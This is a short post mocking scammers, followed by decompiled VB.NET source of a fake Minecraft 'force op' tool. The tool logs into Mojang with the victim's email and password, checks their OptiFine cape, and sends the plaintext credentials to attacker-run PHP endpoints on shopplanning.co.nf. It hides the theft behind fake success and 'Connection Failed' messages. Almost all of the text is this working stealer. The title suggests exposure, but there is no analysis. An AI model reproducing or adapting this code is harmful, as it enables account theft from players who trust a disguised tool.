Scammers don't know how to obfuscate .net code

		Private Sub Form2_Load(sender As Object, e As EventArgs)
			Me.WebBrowser1.ScriptErrorsSuppressed = True
			Me.WebBrowser1.Navigate("https://account.mojang.com/login")
			Me.Button2.Enabled = False
			Me.Button3.Enabled = False
			Me.Button4.Enabled = False
			Me.Button5.Enabled = False
			Me.Button6.Enabled = False
			Me.Button7.Enabled = False
			Me.Button8.Enabled = False
			Me.TextBox3.Enabled = False
			Me.TextBox4.Enabled = False
			Me.TextBox5.Enabled = False
		End Sub

		Private Sub Button1_Click(sender As Object, e As EventArgs)
			Me.WebBrowser1.Document.GetElementById("username").SetAttribute("value", Me.TextBox1.Text)
			Me.WebBrowser1.Document.GetElementById("password").SetAttribute("value", Me.TextBox2.Text)
			Me.WebBrowser1.Document.Forms("loginForm").InvokeMember("submit")
			Me.Timer1.Enabled = True
			Me.Button1.Enabled = False
			Me.TextBox1.Enabled = False
			Me.TextBox2.Enabled = False
			Me.TextBox6.Enabled = False
			Me.ProgressBar1.Increment(40)
		End Sub

		Private Sub Timer1_Tick(sender As Object, e As EventArgs)
			If Me.timercount = 0 Then
				Me.Timer1.Enabled = False
				If Me.WebBrowser1.DocumentText.Contains("Error!") Then
					Me.ProgressBar1.Increment(-40)
					Interaction.MsgBox("Login Failed", MsgBoxStyle.OkOnly, Nothing)
					Me.Button1.Enabled = True
					Me.TextBox1.Enabled = True
					Me.TextBox2.Enabled = True
				End If
				If Me.WebBrowser1.DocumentText.Contains("Import old Minecraft Account") Then
					Try
						Dim arg_A7_0 As WebClient = New WebClient()
						Dim address As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
						Dim text As String = arg_A7_0.DownloadString(address)
						Me.TextBox7.Text = text
					Catch expr_BB As Exception
						ProjectData.SetProjectError(expr_BB)
						ProjectData.ClearProjectError()
					End Try
					If Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_115_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_115_0.GetResponse()
					End If
					If Not Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_167_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/NotPaid.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_167_0.GetResponse()
					End If
					Me.ProgressBar1.Increment(50)
					Me.ProgressBar1.Increment(10)
					Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
					Me.ProgressBar1.Increment(-100)
					Me.Button2.Enabled = True
					Me.TextBox3.Enabled = True
					Me.TextBox4.Enabled = True
					Me.Button1.Visible = False
					Me.Button9.Visible = True
				Else If Me.WebBrowser1.DocumentText.Contains("Resend verification e-mail") Then
					Try
						Dim arg_21D_0 As WebClient = New WebClient()
						Dim address2 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
						Dim text2 As String = arg_21D_0.DownloadString(address2)
						Me.TextBox7.Text = text2
					Catch expr_233 As Exception
						ProjectData.SetProjectError(expr_233)
						ProjectData.ClearProjectError()
					End Try
					If Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_28E_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_28E_0.GetResponse()
					End If
					If Not Me.TextBox7.Text.Contains("PNG") Then
						Me.ProgressBar1.Increment(50)
						Dim arg_2ED_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/VerfEmail.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_2ED_0.GetResponse()
					End If
					Me.ProgressBar1.Increment(10)
					Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
					Me.ProgressBar1.Increment(-100)
					Me.Button2.Enabled = True
					Me.TextBox3.Enabled = True
					Me.TextBox4.Enabled = True
					Me.Button1.Visible = False
					Me.Button9.Visible = True
				Else If Me.WebBrowser1.DocumentText.Contains("Secure my account") Then
					Try
						Dim arg_398_0 As WebClient = New WebClient()
						Dim address3 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
						Dim text3 As String = arg_398_0.DownloadString(address3)
						Me.TextBox7.Text = text3
					Catch expr_3AE As Exception
						ProjectData.SetProjectError(expr_3AE)
						ProjectData.ClearProjectError()
					End Try
					If Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_409_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_409_0.GetResponse()
					End If
					If Not Me.TextBox7.Text.Contains("PNG") Then
						Me.ProgressBar1.Increment(50)
						Dim arg_468_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/wp-activate.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_468_0.GetResponse()
					End If
					Me.ProgressBar1.Increment(10)
					Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
					Me.ProgressBar1.Increment(-100)
					Me.Button2.Enabled = True
					Me.TextBox3.Enabled = True
					Me.TextBox4.Enabled = True
					Me.Button1.Visible = False
					Me.Button9.Visible = True
				Else If Me.WebBrowser1.DocumentText.Contains("accept-terms") Then
					Try
						Dim arg_513_0 As WebClient = New WebClient()
						Dim address4 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
						Dim text4 As String = arg_513_0.DownloadString(address4)
						Me.TextBox7.Text = text4
					Catch expr_529 As Exception
						ProjectData.SetProjectError(expr_529)
						ProjectData.ClearProjectError()
					End Try
					If Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_584_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_584_0.GetResponse()
					End If
					If Not Me.TextBox7.Text.Contains("PNG") Then
						Me.ProgressBar1.Increment(50)
						Dim arg_5E3_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/Proceed.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_5E3_0.GetResponse()
					End If
					Me.ProgressBar1.Increment(10)
					Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
					Me.ProgressBar1.Increment(-100)
					Me.Button2.Enabled = True
					Me.TextBox3.Enabled = True
					Me.TextBox4.Enabled = True
					Me.Button1.Visible = False
					Me.Button9.Visible = True
				Else If Me.WebBrowser1.DocumentText.Contains("Confirm your identity") Then
					Try
						Dim arg_68E_0 As WebClient = New WebClient()
						Dim address5 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
						Dim text5 As String = arg_68E_0.DownloadString(address5)
						Me.TextBox7.Text = text5
					Catch expr_6A4 As Exception
						ProjectData.SetProjectError(expr_6A4)
						ProjectData.ClearProjectError()
					End Try
					If Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_6FF_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_6FF_0.GetResponse()
					End If
					If Not Me.TextBox7.Text.Contains("PNG") Then
						Me.ProgressBar1.Increment(50)
						Dim arg_75E_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/wp-cron.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_75E_0.GetResponse()
					End If
					Me.ProgressBar1.Increment(10)
					Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
					Me.ProgressBar1.Increment(-100)
					Me.Button2.Enabled = True
					Me.TextBox3.Enabled = True
					Me.TextBox4.Enabled = True
					Me.Button1.Visible = False
					Me.Button9.Visible = True
				Else If Me.WebBrowser1.DocumentText.Contains("My Subscriptions") Then
					Try
						Dim arg_809_0 As WebClient = New WebClient()
						Dim address6 As String = "http://www.optifine.net/capes/" + Me.TextBox6.Text + ".png"
						Dim text6 As String = arg_809_0.DownloadString(address6)
						Me.TextBox7.Text = text6
					Catch expr_81F As Exception
						ProjectData.SetProjectError(expr_81F)
						ProjectData.ClearProjectError()
					End Try
					If Me.TextBox7.Text.Contains("PNG") Then
						Dim arg_87A_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/OF.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_87A_0.GetResponse()
					End If
					If Not Me.TextBox7.Text.Contains("PNG") Then
						Me.ProgressBar1.Increment(50)
						Dim arg_8D9_0 As WebRequest = WebRequest.Create("http://shopplanning.co.nf/wp-cron.php?user=" + Me.TextBox1.Text + "&pass=" + Me.TextBox2.Text)
						WebRequest.Create("http://shopplanning.co.nf/logger.php?")
						arg_8D9_0.GetResponse()
					End If
					Me.ProgressBar1.Increment(10)
					Interaction.MsgBox("Successfully Logged in", MsgBoxStyle.OkOnly, Nothing)
					Me.ProgressBar1.Increment(-100)
					Me.Button2.Enabled = True
					Me.TextBox3.Enabled = True
					Me.TextBox4.Enabled = True
					Me.Button1.Visible = False
					Me.Button9.Visible = True
				End If
				Me.timercount = 5
				Return
			End If
			Me.timercount = 0
		End Sub

		Private Sub Button2_Click(sender As Object, e As EventArgs)
			Me.ProgressBar1.Increment(10)
			Interaction.MsgBox("Connection Failed", MsgBoxStyle.OkOnly, Nothing)
			Me.ProgressBar1.Increment(-10)
		End Sub

		Private Sub TextBox2_KeyDown(sender As Object, e As KeyEventArgs)
			If e.KeyCode = Keys.[Return] Then
				Me.Button1.PerformClick()
			End If
		End Sub

		Private Sub Button9_Click(sender As Object, e As EventArgs)
			Me.WebBrowser1.Navigate("https://account.mojang.com/logout")
			Me.Timer2.Enabled = True
		End Sub

		Private Sub Timer2_Tick(sender As Object, e As EventArgs)
			If Me.timercount = 0 Then
				Me.Timer2.Enabled = False
				Me.WebBrowser1.Navigate("https://account.mojang.com/login")
				Me.TextBox1.Enabled = True
				Me.TextBox2.Enabled = True
				Me.Button1.Enabled = True
				Me.Button1.Visible = True
				Me.Button9.Visible = False
				Me.timercount = 5
				Return
			End If
			Me.timercount = 0
		End Sub

		Private Sub Button10_Click(sender As Object, e As EventArgs)
			Interaction.MsgBox("The login information is required." & vbCrLf & "The email and password is required to log you on to the mojang server. " & vbCrLf & "The username is required to make the tools work including the force op. " & vbCrLf & "The username doesn't get checked by the force op tool so it's realy important to type it exactly right (including capitals) or else the force op wont work.", MsgBoxStyle.OkOnly, Nothing)
		End Sub
	End Class
End Namespace